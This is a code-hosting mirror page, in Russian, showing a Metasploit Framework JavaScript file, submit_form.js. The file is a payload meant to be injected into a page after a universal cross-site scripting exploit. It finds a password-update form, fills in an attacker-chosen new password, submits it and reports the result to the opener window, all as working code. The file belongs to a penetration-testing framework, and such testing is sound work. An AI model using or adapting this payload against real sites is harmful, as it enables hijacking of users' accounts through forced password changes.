/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
data/exploits/uxss/submit_form.js
36 строк
1 KB
Joe Vennix
Add some common UXSS scripts.
09 сен 2014, 11:31
Не верифицирован
09 сен 2014, 11:31
7793ed4
Код
Авторство
О чём код?
/* submit_form.js: can be injected into a frame/window after a UXSS */ /* exploit to modify and submit a form in the target page. */ /* modify this hash to your liking */ var formInfo = { /* CSS selector for the form you want to submit */ selector: 'form[action="/update_password"]', /* inject values into some input fields */ inputs: { 'user[new_password]': 'pass1234', 'user[new_password_confirm]': 'pass1234' } } var c = setInterval(function(){ /* find the form... */ var form = document.querySelector(formInfo.selector); if (!form) return; /* loop over every input field, set the value as specified. */ Array.prototype.forEach.call(form.elements, function(input) { var inject = formInfo.inputs[input.name]; if (inject) input.setAttribute('value', inject); }); /* submit the form and clean up */ form.submit(); clearInterval(c); /* report back */ var message = "Form submitted to "+form.getAttribute('action'); var url = window.location.href; (opener||top).postMessage(JSON.stringify({message: message, url: url}), '*'); }, 100);